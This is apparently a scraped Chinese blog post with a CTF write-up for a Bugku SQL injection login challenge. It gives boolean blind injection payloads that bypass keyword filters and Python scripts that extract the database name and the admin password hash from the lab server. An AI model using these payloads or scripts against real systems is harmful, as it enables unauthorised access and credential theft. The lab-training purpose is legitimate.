当前位置:网站首页>Bugku sql注入
Bugku sql注入
2022-07-30 23:17:00 【白塔河冲浪手】
进入环境是个登录页面
提示这题布尔盲注,先fuzz一波
过滤了length,like,information,and,union,select,order,where等等
用括号绕过空格,我们发现能用的字符有<>,or,'
先万能密码试试看,<>是不等于的意思
'or(1<>2)#
'or(1<>1)#
可以确定这里有布尔盲注
那么开始注入 参考博客
'or(length(database())>7)# 回显password error!
'or(length(database())>8)# 回显username does not exist!
说明数据库长度为7
后面爆数据库
利用reverse和from
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>98)#
最后利用脚本爆出数据库
import requests
url='http://114.67.175.224:19015/index.php'
database=''
for i in range(1,9):
for p in range(45,126):
m=9-i
sql="a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
database+=chr(p)
print (database)
break
print ("==========================")
print("\n"+database)
得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过
得到数据表admin和字段名password后
爆破密码
password=''
for i in range(1,33):
for p in range(45,126):
m=33-i
sql="a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
password+=chr(p)
print (password)
break
print ("==========================")
print("\n"+password)
解md5 4dcc88f8f1bc05e7c2ad1a60288481a2
得到密码bugctf
去登录 账号是admin
边栏推荐
猜你喜欢
【LeetCode】55. 跳跃游戏 - Go 语言题解
测试人面试 常被问到的计算机网络题,高薪回答模板来了
VS2017 compile Tars test project
The difference between ?? and ??= and ?. and || in JS
Py's pdpbox: a detailed introduction to pdpbox, installation, and case application
IJCAI2022 Tutorial | Spoken Language Comprehension: Recent Advances and New Fields
go版本升级
PS基础学习(一)
vulnhub靶机AI-Web-1.0渗透笔记
mysql跨库关联查询(dblink)
随机推荐
oracle数据库版本问题咨询(就是对比从数据库查询出来的版本,和docker里面的oracle版本)?
Soft Exam Summary
tcp协议传输中的粘包问题
【云驻共创】HCSD大咖直播–就业指南
Excel basic study notes
打动中产精英群体,全新红旗H5用产品力跑赢需求
第一节 zadig 入门
Gxlcms audio novel system/novel listening system source code
Regular expression syntax and usage
反转链表-就地逆置法
如何在 AWS 中应用 DevOps 方法?
Go1.18升级功能 - 泛型 从零开始Go语言
MySQL的一个问题
“蔚来杯“2022牛客暑期多校训练营4 DHKLN
实验7(MPLS实验)
“蔚来杯“2022牛客暑期多校训练营2 H.Take the Elevator
Kotlin特殊类
BFS题单总结
Chapter 8 Intermediate Shell Tools II
MySQL联合查询(多表查询)